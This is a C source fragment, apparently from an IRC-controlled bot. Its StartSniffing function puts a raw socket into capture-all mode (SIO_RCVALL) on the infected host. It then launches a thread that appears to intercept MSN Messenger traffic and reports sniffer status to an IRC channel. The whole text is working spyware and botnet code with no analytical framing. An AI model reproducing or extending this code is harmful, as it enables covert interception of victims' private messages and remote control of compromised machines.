int StartSniffing( void ) { if(IsMsnRunning() == false) { irc_send(&Sock, "PRIVMSG %s :%c0,1[MSniff: MSN Is Not Running, Cant Start Sniffer!]\r\n",irc_chan, 3); } else if(sniffed) { irc_send(&Sock, "PRIVMSG %s :%c0,1[MSniff: MSN Is Already Being Sniffed!]\r\n",irc_chan, 3); } else { WSAData wsa; if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) { return 0; } PHOSTENT hostinfo; char hostname[256]; char *ip; if (gethostname(hostname, 256)) { return 0; } if (!(hostinfo = gethostbyname(hostname))) { return 0; } ip = inet_ntoa(*(struct in_addr *)*hostinfo->h_addr_list); SockMSN = socket(AF_INET, SOCK_RAW, IPPROTO_IP); if (SockMSN == INVALID_SOCKET) { return 0; } sockaddr_in addr; int i = 1; DWORD ret; memset(&addr, 0, sizeof(addr)); addr.sin_addr.s_addr = inet_addr(ip); addr.sin_family = AF_INET; addr.sin_port = 0; if (bind(SockMSN, (sockaddr *)&addr, sizeof(addr)) == SOCKET_ERROR) { return 0; } if (WSAIoctl(SockMSN, SIO_RCVALL, &i, sizeof(i), 0, 0, &ret, 0, 0) == SOCKET_ERROR) { irc_send(&Sock,"PRIVMSG %s :We rnt Working :(\r\n",irc_chan); return 0; } unsigned long lThread; ThreadHandle = CreateThread(NULL,0,MSNThread,0,0,&lThread); } }